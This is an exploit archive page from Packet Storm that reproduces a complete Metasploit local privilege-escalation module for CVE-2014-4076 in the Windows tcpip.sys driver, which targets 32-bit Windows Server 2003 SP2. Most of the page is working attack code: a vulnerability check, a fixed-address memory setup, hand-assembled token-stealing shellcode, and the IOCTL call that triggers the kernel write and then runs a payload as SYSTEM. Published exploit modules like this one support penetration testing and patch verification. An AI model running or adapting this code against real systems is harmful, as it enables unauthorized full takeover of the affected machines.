what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Windows tcpip.sys Arbitrary Write Privilege Escalation

Windows tcpip.sys Arbitrary Write Privilege Escalation
Posted Feb 5, 2015
Authored by Matt Bergin, Jay Smith | Site metasploit.com

A vulnerability within the Microsoft TCP/IP protocol driver tcpip.sys, can allow an attacker to inject controlled memory into an arbitrary location within the kernel.

tags | exploit, arbitrary, kernel, tcp, protocol
advisories | CVE-2014-4076
SHA-256 | a10f3a60dd5ca145c224a448fbe2a59eb98a01bc4f0e54ff4952738ca7c1e8d5

Windows tcpip.sys Arbitrary Write Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/exploit/local/windows_kernel'
require 'rex'

class Metasploit3 < Msf::Exploit::Local
Rank = AverageRanking

include Msf::Exploit::Local::WindowsKernel
include Msf::Post::File
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process

def initialize(info={})
super(update_info(info, {
'Name' => 'Windows tcpip.sys Arbitrary Write Privilege Escalation',
'Description' => %q{
A vulnerability within the Microsoft TCP/IP protocol driver tcpip.sys,
can allow an attacker to inject controlled memory into an arbitrary
location within the kernel.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Matt Bergin <level[at]korelogic.com>', # Vulnerability discovery and PoC
'Jay Smith <jsmith[at]korelogic.com>' # MSF module
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
['Windows Server 2003 SP2',
{
'_KPROCESS' => "\x38",
'_TOKEN' => "\xd8",
'_UPID' => "\x94",
'_APLINKS' => "\x98"
}
]
],
'References' =>
[
['CVE', '2014-4076'],
['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2015-001.txt']
],
'DisclosureDate'=> 'Nov 11 2014',
'DefaultTarget' => 0
}))

end

def check
if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/
return Exploit::CheckCode::Safe
end

handle = open_device('\\\\.\\tcp', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
return Exploit::CheckCode::Safe unless handle

session.railgun.kernel32.CloseHandle(handle)

file_path = get_env('WINDIR') << "\\system32\\drivers\\tcpip.sys"
unless file?(file_path)
return Exploit::CheckCode::Unknown
end

major, minor, build, revision, branch = file_version(file_path)
vprint_status("tcpip.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")

if ("#{major}.#{minor}.#{build}" == "5.2.3790" && revision < 5440)
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end

def exploit
if is_system?
fail_with(Exploit::Failure::None, 'Session is already elevated')
end

if sysinfo["Architecture"] =~ /wow64/i
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
elsif sysinfo["Architecture"] =~ /x64/
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
end

unless check == Exploit::CheckCode::Vulnerable
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system")
end

handle = open_device('\\\\.\\tcp', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
if handle.nil?
fail_with(Failure::NoTarget, "Unable to open \\\\.\\tcp device")
end

print_status("Storing the shellcode in memory...")
this_proc = session.sys.process.open

session.railgun.ntdll.NtAllocateVirtualMemory(-1, [0x1000].pack('V'), nil, [0x4000].pack('V'), "MEM_RESERVE|MEM_COMMIT", "PAGE_EXECUTE_READWRITE")

unless this_proc.memory.writable?(0x1000)
fail_with(Failure::Unknown, 'Failed to allocate memory')
end

buf = "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x22\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00"

sc = token_stealing_shellcode(target, nil, nil, false)
# move up the stack frames looking for nt!KiSystemServicePostCall
sc << "\x31\xc9" # xor ecx, ecx
sc << "\x89\xeb" # mov ebx, ebp
# count_frames
sc << "\x41" # inc ecx
sc << "\xf7\x43\x04\x00\x00\x00\x80" # test dword [ebx+4], 0x80000000
sc << "\x8b\x1b" # mov ebx, dword [ebx]
sc << "\x75\xf4" # jne short count_frames
sc << "\x49" # dec ecx
# loop_frames
sc << "\x49" # dec ecx
sc << "\x89\xec" # mov esp, ebp
sc << "\x5d" # pop ebp
sc << "\x83\xf9\x00" # cmp ecx, 0
sc << "\x75\xf7" # jne loop_frames
sc << "\x31\xc0" # xor eax, eax
sc << "\xc3" # ret

this_proc.memory.write(0x28, "\x87\xff\xff\x38")
this_proc.memory.write(0x38, "\x00\x00")
this_proc.memory.write(0x1100, buf)
this_proc.memory.write(0x2b, "\x00\x00")
this_proc.memory.write(0x2000, sc)

print_status("Triggering the vulnerability...")
session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x00120028, 0x1100, buf.length, 0, 0)
#session.railgun.kernel32.CloseHandle(handle) # CloseHandle will never return, so skip it

print_status("Checking privileges after exploitation...")

unless is_system?
fail_with(Failure::Unknown, "The exploitation wasn't successful")
end

print_good("Exploitation successful!")
unless execute_shellcode(payload.encoded, nil, this_proc.pid)
fail_with(Failure::Unknown, 'Error while executing the payload')
end
end

end
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close